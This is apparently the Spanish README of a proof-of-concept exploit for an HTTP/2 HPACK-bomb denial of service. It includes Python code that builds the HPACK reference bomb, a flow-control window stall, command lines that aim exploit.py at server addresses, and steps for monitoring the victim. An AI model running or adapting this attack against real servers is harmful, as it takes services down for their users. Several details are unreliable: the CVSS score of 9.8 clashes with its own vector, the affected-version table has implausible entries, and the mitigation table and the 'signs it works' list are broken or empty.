
Exploit PoC para la vulnerabilidad DoS HTTP/2 Bomb CVE-2026-49975. Demuestra la bomba de referencia indexada HPACK combinada con la parada de la ventana de control de flujo para agotar la memoria del servidor mediante una sola conexión.
CVE-2026-49975 es una vulnerabilidad crítica de denegación de servicio (DoS) en implementaciones de servidores y proxies HTTP/2. El ataque, denominado «Bomba HTTP/2» o «Bomba HPACK», explota dos comportamientos a nivel de diseño en el protocolo HTTP/2 para forzar a un objetivo a un consumo ilimitado de memoria (OOM) y a un agotamiento de CPU:
Puntuación base CVSS 3.1: 9.8 (Crítica)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
El ataque es más efectivo cuando las dos etapas se complementan entre sí, pero cada etapa por sí sola es suficiente contra algunas implementaciones.
La compresión de cabeceras HPACK de HTTP/2 utiliza una tabla dinámica en evolución. Una vez que una cabecera de cookie grande se inserta en la tabla (mediante codificación literal+incremental), un atacante puede referenciar esa entrada con un opcode de 1 byte. Las referencias repetidas hacen que el decodificador reconstruya la misma cabecera una y otra vez.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
Un paquete de 5 KB puede expandirse a cientos de megabytes de carga útil decodificada.
Un SETTINGS con INITIAL_WINDOW_SIZE=0 obliga a la víctima a poner en cola todos los datos HEADERS/continuación. El atacante filtra lentamente las tramas WINDOW_UPDATE. Los búferes permanecen combinatoriamente llenos.
| Mecanismo | factor de amplificación |
|---|---|
| cuerpo HEADERS bruto | 1x |
| explosión de ref. HPACK | 20–80x |
| + flujos concurrentes | 100–500x |
| + bloqueo de ventana | 1000x+ |
Consulte la entrada CVE de su proveedor para conocer los límites exactos.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Víctima rápida con Docker:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
El script complementario es exploit.py.
La rutina principal:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
El script realiza:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Monitoree los recursos de la víctima:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Señales de que el ataque está funcionando:
| Enfoque | Ajuste |
|---|---|
| Limitar cabeceras por flujo |
Esta información es únicamente para pruebas de seguridad educativas y autorizadas. Ejecútelo solo contra sistemas que posea o para los que tenga permiso por escrito de probar.
| Vendor / Project | Version | descripción |
|---|
| Apache mod_http2 | < 2.0.13 | OOM por explosión de ref. indexadas |
| nghttp2 | < 1.62.0 | inflado de memoria ilimitado |
| h2o | < 4.0.2 | bucle infinito en el decodificador |
| Node.js http2 crate | < 1.12.0 | expansión intrínseca en nghttp2-rs |
| Go net/http (h2) | < 1.24 | bloqueo de goroutine + asignación OSL |
| Apache Traffic Server | < 9.3.0 | OOM a través del búfer interno |
| HAProxy h2 | < 2.9 | caída en AVP de gran tamaño |
| Envoy | < 1.30 | asignación masiva en el control de flujo |
| Rust hyper/h2 crate | < 5.14 | panic por desbordamiento SK |
MaxHeaderCount 500| Rechazar baja compresión | umbral de ratio < 5 |
| Acotar el crecimiento de HPACK | limitar la tabla dinámica a 1 KB |
| Memoria por conexión | rechazar después de N MB |
| limitación de velocidad | conn/s, req/s genéricos |